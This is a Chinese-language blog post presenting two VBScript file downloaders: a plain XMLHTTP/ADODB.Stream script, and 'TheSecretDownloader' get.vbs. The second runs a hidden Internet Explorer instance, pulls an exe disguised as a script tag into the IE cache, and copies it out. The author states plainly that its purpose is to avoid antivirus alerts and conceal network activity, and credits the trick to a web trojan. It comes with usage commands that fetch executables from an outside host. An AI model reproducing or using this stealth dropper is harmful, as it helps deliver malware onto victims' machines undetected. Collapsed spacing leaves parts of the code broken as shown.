说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码：

iLocal=LCase(Wscript.Arguments(1))

iRemote=LCase(Wscript.Arguments(0))

SetxPost=createObject("Microsoft.XMLHTTP")

xPost.Open"GET",iRemote,0

xPost.Send()

setsGet=createObject("ADODB.Stream")

sGet.Mode=3

sGet.Type=1

sGet.Open()

sGet.WritexPost.ResponseBody

sGet.SaveToFileiLocal,2

当你把这段代码保存为vbs的时候，杀毒软件可能就开始报警了；而且使用中cscript.exe会访问网络，不太隐蔽。

那么，有没有更好的方法呢？答案很明显:-)

我们可以利用一个叫InternetExplorer.Application的对象（其实就是个IE啦）下载文件。但是貌似这个组件不能直接下载保存文件，只好曲线救国了。因为IE是把文件下载到本地缓存的，我们可以让IE组件先把文件下载到缓存，然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的：）

为了让IE把我们的exe文件下载到本地缓存，我们需要有一个网页把exe文件包含进去。比如：<scriptsrc="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe，IE临时文件的位置可以从注册表键值HKLMSoftwareMicrosoftWindowsCurrentVersionInternetSettingsCachepathsDirectory中读取。

好了，不废话，看代码：

'=============================

'get.vbs

'bylake2

'=============================

IfWScript.Arguments.Count<>3Then

WScript.Echo""

WScript.Echo"=======TheSecretDownloader0.1================"

WScript.Echo"bylake2"

WScript.Echo"Usage:CScript/nologo"&WScript.ScriptName&"[URL][RemoteName][LocalFile]"

WScript.Echo"Example:CScript/nologo"&WScript.ScriptName&"http://www.0x54.org/lake.htm520.exec:520.exe"

WScript.Echo"=================================================="

WScript.Quit

EndIf

URL=WScript.Arguments(0)

exeName=WScript.Arguments(1)

IfInStr(exeName,".")>0Then

tmp=Left(exeName,InStrRev(exeName,".")-1)

tmp2=Right(exeName,Len(exeName)-InStrRev(exeName,".")+1)

FindFileName=tmp&"[1]"&tmp2

EndIf

LocalName=WScript.Arguments(2)

setie=wscript.createobject("internetexplorer.application")

ie.visible=0

ie.navigateURL

WScript.Echo"[+]CreateandExecIEtoyourHTTPServer..."

WScript.Sleep(5000)

ie.quit

WScript.Echo"[+]Getthefile..."

setobjshell=WScript.Createobject("WScript.Shell")

strValue=objshell.RegRead("HKLMSoftwareMicrosoftWindowsCurrentVersionInternetSettingsCachepathsDirectory")

ShowAllFile(strValue)

WScript.Echo"[-]downloadFail:("

SubShowAllFile(Path)

SetFSO=CreateObject("Scripting.FileSystemObject")

Setf=FSO.GetFolder(Path)

Setfc=f.SubFolders

ForEachf1infc

IfFSO.FileExists(path&""&f1.name&""&FindFileName)Then

FSO.CopyFilepath&""&f1.name&""&FindFileName,LocalName

WScript.Echo"[+]DownloadSuccess!"

WScript.Quit

EndIf

ShowAllFilepath&""&f1.name

Next

SetFSO=Nothing

EndSub

使用方法：

1、在你的web目录放上一个htm文件，内容包含要下载的文件。如：<scriptsrc=520.exe></script>

2、CScriptget.vbs第一步的网页URL网页包含的文件名本地保存路径

例子：CScriptget.vbshttp://www.0x54.org/lake2/get.htmwhoami.exec:who.exe

PS：脚本使用了5秒钟作为下载文件的时间，可以改成等待下载完毕再继续的，不过基本上够用，懒得改了-_-